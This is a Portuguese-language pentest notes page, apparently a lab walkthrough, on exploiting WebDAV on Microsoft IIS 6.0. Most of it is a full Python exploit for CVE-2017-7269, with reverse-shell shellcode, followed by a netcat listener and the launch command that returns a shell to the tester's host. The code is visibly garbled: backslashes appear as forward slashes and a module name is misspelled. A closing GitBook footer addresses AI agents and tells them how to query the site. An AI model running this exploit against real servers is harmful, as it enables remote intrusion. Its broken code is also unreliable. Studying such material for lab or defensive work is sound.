> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/webdav-attack/webdav-microsoft-iis-6.0-pentesting-web.md).

# WebDAV Microsoft IIS 6.0

**Teste de upload com Davtest** Verificamos se conseguimos injetar arquivos maliciosos:

```bash
davtis -url http://10.10.10.14

```

No entanto, todas as extensões retornam **falha**, provando que os uploads são restritos.

<figure><img src="/files/40e50dcaf2f10cc8aef6821cf4c7ff1c1e38d9f0" alt="" width="563"><figcaption></figcaption></figure>

Como confirmamos que o servidor executa **IIS 6.0**, exploramos uma **estouro de buffer** vulnerabilidade descoberta em 2017.

<figure><img src="/files/a70b7f7ea9d6b36471ef8240bfd75fd4daee2504" alt=""><figcaption></figcaption></figure>

Aqui está um script em Python que explora essa falha e obtém um shell:

{% embed url="<https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>" %}

```python
import sys
import struct
import sockand
if len(sys.argv)<5:
    print 'uso:iis6webdav.py targetip targetport reverseip reverseport/n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])
shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/
'/x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/
'/xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/
'/xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/
'/x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/
'/x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/
'/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/
'/x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/
'/xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/
'/x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/
'/x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/
'/xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/
'/x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/
'/xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/
'/x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/
'/x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/
'/xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/
'/x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/
'/xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/
'/x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/
'/x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/
'/xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/
'/xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/
'/x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/
'/xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/
'/xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/
'/x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/
'/x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/
'/x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/
'/xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/
'/xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/
'/x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/
'/x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/
'/x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/
'/x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/
'/x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/
'/xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/
'/x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/
'/xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/
'/x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/
'/x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/
'/x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/
'/xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/
'/x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/
'/x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/
'/x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/
'/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/
'/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/
'/xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/
'/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA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xB5/xD4/xFC/xFF/xFF/xFF/x95/xC4/xFA/xFF/xFF/x83/xA5/xD4/xFA/xFF'+/
'/xFF/x00/xEB/x0D/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF'+/
'/xFF/x83/xBD/xD4/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF'+/
'/x80/xA4/x05/x64/xFA/xFF/xFF/x00/xEB/xDA/xC7/x85/x64/xFA/xFF/xFF'+/
'/x44/x00/x00/x00/xC7/x85/x90/xFA/xFF/xFF/x01/x01/x00/x00/x8B/x85'+/
'/xD4/xFC/xFF/xFF/x89/x85/xA4/xFA/xFF/xFF/x8B/x85/xA4/xFA/xFF/xFF'+/
'/x89/x85/xA0/xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/
'/xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/
'/xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/
'/xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/
'/x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/
'/x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/
'/x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/
'/x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/
'/x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/
'/x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/
'/x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/
'/xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/
'/x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1'
shellcodelen = 1744
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='/xe6/xbd/xa8/xe7/xa1/xa3/xe7/x9d/xa1/xe7/x84/xb3/xe6/xa4/xb6/xe4/x9d/xb2/xe7/xa8/xb9/xe4/xad/xb7/xe4/xbd/xb0/xe7/95/x93/xe7/xa9/x8f/xe4/xa1/a8/xe5/x99/xa3/xe6/xb5/94/xe6/a1/85/xe3/a5/93/xe5/81/ac/xe5/95/xa7/xe6/9d/xa3/xe3/8d/a4/xe4/98/xb0/xe7/a1/85/xe6/a5/92/xe5/90/xb1/xe4/xb1/98/xe6/a9/91/xe7/89/81/xe4/88/b1/xe7/80/b5/xe5/a1/90/xe3/99/a4/xe6/b1/87/xe3/94/b9/xe5/91/aa/xe5/80/b4/xe5/91/83/xe7/9d/92/xe5/81/a1/xe3/88/b2/xe6/b5/8b/xe6/b0/b4/xe3/89/87/xe6/89/81/xe3/9d/8d/xe5/85/a1/xe5/a1/a2/xe4/9d/b3/xe5/89/90/xe3/99/b0/xe7/95/84/xe6/a1/aa/xe3/8d/b4/xe4/b9/8a/xe7/a1/ab/xe4/a5/b6/xe4/b9/b3/xe4/b1/aa/xe5/9d/xba/xe6/bd/xb1/xe5/a1/8a/xe3/88/b0/xe3/9d/ae/xe4/ad/89/xe5/89/8d/xe4/a1/a3/xe6/bd/8c/xe7/95/96/xe7/95/b5/xe6/99/af/xe7/99/a8/xe4/91/8d/xe5/81/b0/xe7/a8/b6/xe6/89/8b/xe6/95/97/xe7/95/90/xe6/a9/b2/xe7/a9/ab/xe7/9d/a2/xe7/99/98/xe6/89/88/xe6/94/b1/xe3/81/94/xe6/b1/b9/xe5/81/8a/xe5/91/xa2/xe5/80/b3/xe3/95/b7/xe6/a9/b7/xe4/85/84/xe3/8c/b4/xe6/91/b6/xe4/b5/86/xe5/99/94/xe4/9d/ac/xe6/95/83/xe7/98/b2/xe7/89/b8/xe5/9d/xa9/xe4/8c/b8/xe6/89/b2/xe5/a8/b0/xe5/a4/b8/xe5/91/88/xc8/82/xc8/82/xe1/8b/80/xe6/a0/83/xe6/b1/84/xe5/89/96/xe4/ac/b7/xe6/b1/ad/xe4/bd/98/xe5/a1/9a/xe7/a5/90/xe4/a5/aa/xe5/a1/8f/xe4/a9/92/xe4/85/90/xe6/99/8d/xe1/8f/80/xe6/a0/83/xe4/a0/b4/xe6/94/b1/xe6/bd/83/xe6/b9/a6/xe7/91/81/xe4/8d/ac/xe1/8f/80/xe6/a0/83/xe5/8d/83/xe6/a9/81/xe7/81/92/xe3/8c/b0/xe5/a1/a6/xe4/89/8c/xe7/81/8b/xe6/8d/86/xe5/85/b3/xe7/a5/81/xe7/a9/90/xe4/a9/ac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='/xe7/a5/88/xe6/85/b5/xe4/bd/83/xe6/bd/a7/xe6/ad/af/xe4/a1/85/xe3/99/86/xe6/9d/b5/xe4/90/b3/xe3/a1/b1/xe5/9d/a5/xe5/a9/a2/xe5/90/b5/xe5/99/a1/xe6/a5/92/xe6/a9/93/xe5/85/97/xe3/a1/8e/xe5/a5/88/xe6/8d/95/xe4/a5/b1/xe4/8d/a4/xe6/91/b2/xe3/91/a8/xe4/9d/98/xe7/85/b9/xe3/8d/ab/xe6/ad/95/xe6/b5/88/xe5/81/8f/xe7/a9/86/xe3/91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/ae/xe7/91/b0/xe1/90/b4/xe6/a0/83/xe2/a7/a7/xe6/a0/81/xe9/8e/91/xe6/a0/80/xe3/a4/b1/xe6/99/ae/xe4/a5/95/xe3/81/92/xe5/91/ab/xe7/99/ab/xe7/89/8a/xe7/a5/a1/xe1/90/9c/xe6/a0/83/xe6/b8/85/xe6/a0/80/xe7/9c/b2/xe7/a5/a8/xe4/b5/a9/xe3/99/ac/xe4/91/a8/xe4/b5/b0/xe8/89/86/xe6/a0/80/xe4/a1/b7/xe3/89/93/xe1/b6/aa/xe6/a0/82/xe6/bd/aa/xe4/8c/b5/xe1/8f/b8/xe6/a0/83/xe2/a7/a7/xe6/a0/81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>/r/n/r/n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)
print data
sock.close

```

#### Então, configuramos um listener na porta 443:

```bash
rlwrap nc -nvlp 443

```

#### Então, lançamos o exploit:

```bash
python2 iis6webdav.py 10.10.10.14 80 10.10.14.32 443

```

<figure><img src="/files/75aeca08781d982f1754325343f298821cdc5e99" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/webdav-attack/webdav-microsoft-iis-6.0-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
